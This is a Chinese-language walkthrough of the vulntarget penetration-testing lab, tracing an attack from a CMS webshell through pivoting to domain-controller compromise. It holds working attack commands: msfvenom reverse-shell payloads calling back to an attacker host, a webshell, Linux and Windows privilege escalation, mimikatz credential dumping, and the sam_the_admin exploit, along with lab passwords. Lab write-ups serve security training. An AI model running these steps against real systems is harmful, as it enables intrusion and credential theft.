靶场地址:https://github.com/shengshengli/vulntarget
靶场拓展图
首先nmap进行端口扫描
代码语言:javascript复制
nmap -sV -sS -sC 192.168.31.104
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=125.122.127.185/organizationName=BT-PANEL/stateOrProvinceName=Guangdong/countryName=CN
| Not valid before: 2021-12-20T06:49:15
|_Not valid after: 2031-09-19T06:49:15
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 1b:0b:f2:25:18:99:fd:4d:c9:85:cf:e6:98:00:b9:05 (RSA)
| 256 7d:f8:b8:a2:81:d0:da:c1:26:34:ae:9d:9e:8f:36:a9 (ECDSA)
|_ 256 78:b3:f9:a8:4b:33:2f:15:2d:bd:d1:25:3a:f8:d5:5f (ED25519)
80/tcp open http nginx
|_http-title: xE6xB2xA1xE6x9Cx89xE6x89xBExE5x88xB0xE7xABx99xE7x82xB9
81/tcp open http nginx
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: xE6x9Ex81xE8x87xB4CMSxE5xBBxBAxE7xABx99xE7xB3xBBxE7xBBx9F
| http-robots.txt: 7 disallowed entries
|_/A/ /Home/ /backup/ /cache/ /FrPHP/ /install/ /Conf/
888/tcp open http nginx
|_http-title: 403 Forbidden
3306/tcp open mysql MySQL (unauthorized)
8888/tcp open http nginx
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-favicon: OSS-Labs BT Panel
| http-robots.txt: 1 disallowed entry
|_/
| http-title: xE5xAEx89xE5x85xA8xE5x85xA5xE5x8FxA3xE6xA0xA1xE9xAAx8CxE5xA4xB1xE8xB4xA5
|_Requested resource was http://192.168.31.104:8888/login
MAC Address: 4C:D5:77:CB:F4:99 (Chongqing Fugui Electronics)
21(ftp)不存在匿名登录 访问80端口,是一个宝塔
访问81端口,是一个极致CMS
访问8888端口,是宝塔后台的入口
从81端口找突破口, admin.php是极致CMS的后台地址,弱口令admin:admin123可以登录后台(也可以进行爆破)
进入后台,cms的版本为1.8.1
,php版本为7.3.31
搜索发现可以通过添加插件(在线编辑模板)来getshell(参考:https://xz.aliyun.com/t/9359)
安装好插件,点击配置,配置一下用户和密码(不要忘记),然后再进入配置,点击提交会跳转到登录页面,使用自己设置好的用户和密码登录
登陆后就是网站的目录,并且权限还比较高,可以在php页面写一个shell
直接在index.php页面写入一句话,在index.php代码执行即可
在phpinfo页面发现disable_functions过滤了很多函数(比如能命令执行的system、passthru等) 可直接使用蚁剑插件来绕过disable_functions
只有www权限
使用ifconfig
等查看网段是没回显的
msf生成一个反弹shell的elf文件,通过蚁剑上传到目标机器上
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.84 LPORT=1234 -f elf >shell.elf
msf进行监听端口-->运行elf文件-->上线msf,得到meterpreter
进入shell,发现有python,使用python获得一个交互shell
需要进行提权,先查看一些suid
find / -user root -perm -4000 -print 2>/dev/null
有sudo可以用(CVE-2021-3156),还有一个pkexec(CVE-2021-4034),两个提权都可以
得到root权限 在/root目录下发现flag文件
在home目录下发现还有一个vulntarget用户
vulntarget:root弱口令可登录ssh
在/www/wwwroot/jizhi/Conf/config.php
文件发现连接数据库的用户名密码
admin:EcfMrPrtTJGL2GjL
ifconfig
查看网络信息,还有一个10.0.20.30的网卡
上传fscan,来扫描10.0.20.30网段的存活主机,扫到一个10.0.20.66的主机,8080端口是禅道cms 还扫描到centos的ssh弱口令root:root
准备上线msf,生成elf文件,使用root用户执行,获得一个root权限的meterpreter
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.84 LPORT=5555 -f elf >shell.elf
将shell.elf上传到centos,msf进行监听,运行elf文件,成功上线msf
第一台centos已经拿下 使用msf来搭建代理,添加一个10.0.20网段的路由
使用msf6自带的socks模块:auxiliary/server/socks_proxy
,这里使用socks5
设置好SRVHOST,SRVPORT
在/etc/proxychains4.conf
添加socks代理映射
用proxychains4
来进行操作
访问10.0.20.66的8080端口
访问index.php?mode=getconfig
查看版本,版本为:12.4.2
搜索此版本的漏洞,可以文件上传 参考:https://blog.csdn.net/qq_36197704/article/details/109385695
admin:Admin123登录后台
在第一台机器(centos)开一个临时web服务,目录下写一个php一句话
HTTP://10.0.20.30:8081/shell.php
HTTP需大写
http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6ODA4MS9zaGVsbC5waHA=
访问此地址,临时web服务器下的shell.php会被写入到data/client/1/目录下
蚁剑挂代理
进行连接,whoami
查看一下权限,权限比较低
tasklist
查看一下进行发现存在火绒
进行免杀,上线msf,权限是比较低的,需要进行提权
随手一试getsystem
可以提权成功.....
进行抓取密码
load kiwi creds_all
抓到administrator和域成员的hash,进行hash解码
代码语言:javascript复制administrator:admin@123
win101:admin#123(域成员账号,需要登录一次否则抓不到)
在C:Usersadministrator
目录下发现flag
使用注册表来开启3389
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
ipconfig /all
查看网络信息,win10的另一个网卡ip为10.0.10.99
win10在域环境中,域名为vulntarget.com
域控ip为:10.0.10.100
net group "domain controllers" /domain
查看域控名:WIN-UH20PRD3EAO
使用scaninfo进行扫描,发现可以利用ms17010漏洞,发现利用ms17010会使域控蓝屏重启,放弃此漏洞
使用CVE-2021-42287
代码语言:javascript复制由于Active Directory没有对域中计算机与服务器账号进行验证,经过身份验证的攻击者利用该漏洞绕过完全限制,可将域中普通用户权限提升为域管理员权限并执行任意代码
使用域成员的用户和密码
代码语言:javascript复制python sam_the_admin.py vulntarget.com/win101:'admin#123' -dc-ip 10.0.10.100 -shell
获得域控的system权限